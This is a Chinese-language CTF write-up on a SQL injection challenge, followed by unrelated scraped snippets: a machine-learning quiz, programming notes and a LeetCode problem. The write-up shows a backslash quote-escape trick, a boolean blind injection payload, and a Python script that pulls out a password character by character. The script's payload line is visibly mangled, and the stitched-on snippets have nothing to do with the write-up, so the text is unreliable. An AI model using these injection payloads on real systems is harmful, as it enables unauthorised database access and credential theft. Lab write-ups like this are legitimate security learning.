開啟發現登陸框,隨機輸入一些,發現有waf,然後回顯都是同樣的字串。fuzz一波,發現禁了挺多東西的。
select union 等
這裡猜測是布林盲注,錯誤的話顯示的是:you konw ,p3rh4ps needs a girl friend
但是不管傳入什麼都回顯這個,這裡想是否有其他資訊,我這種菜雞還不會直接根據測試,猜測出sql語句。
robots.txt中發現hint,開啟hint.php,發現sql語句。太好了
select * from users where username='$_post["username"]' and password='$_post["password"]'
這裡傳入的username和password都被單引號包裹,這裡需要閉合單引號 ,閉合 ' $_post["username"] and password=' 。即直接是:
'$_post["username"] and password= '
$_post["password"]'
這樣就可以在password中傳入查詢語句。
在username處傳入 admin\ ,
or沒被禁,等於號被禁,
所以password傳入or if(ascii(substr(password,1,1))>1,1,0)
第乙個$符號裡面的是偏移量,即確定password的每一位,第二個$符號裡面的是當前password位的具體ascii碼
意思是有12位,那打擾了。手動太累了,還是學寫exp把
import requests
import time
url = ""
payload =
result = ""
for i in range(1,30):
low = 32
high =128
mid = (high+low)//2
while(low{},1,0)#".format(i,mid)
html = requests.post(url,data=payload)
print(low,high,mid,":")
print(payload)
if "stronger" in html.text:
low = mid+1
else:
high = mid
mid = (high+low)//2
if(low == 32 or high ==128):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)
我人傻了,一開始寫,一直不進行下去。最後修改發現問題是我把#符號,寫成%23了。導致壓根沒有起作用,我納悶半天。這也是乙個坑點,python指令碼不需要url編碼
跑出來密碼了,直接賬號密碼登陸,獲得flag
演算法刷題(2)
題目一 對應gradientboosting tree演算法,以下說法正確的是 1.當增加最小樣本 個數,我們可以抵制過擬合 2.當增加最小樣本 個數,會導致過擬合 3.當我們減少訓練單個學習器的樣本個數,我們可以降低variance 4.當我們減少訓練單個學習器的樣本個數,我們可以降低bias a...
刷題總結(2)
1.成員變數可以不用初始化,系統預設給值,區域性變數必須初始化 靜態final成員變數無預設值,必須初始化,並且由final修飾的只能賦值一次 2.100 3 1 100 3.0 1.0 3.取餘 rem 3,2 1 取模 mod 3,2 1 rem結果與被除數相同,mod結果與除數相同 4.mat...
leetcode刷題指北(2)
9.回文數 判斷乙個整數是否是回文數。回文數是指正序 從左向右 和倒序 從右向左 讀都是一樣的整數。示例 1 輸入 121 輸出 true 思路一 第一反應轉為字串,遍歷字串首尾是否相等。class solution return true 也可以使用字串反轉比較 class solution el...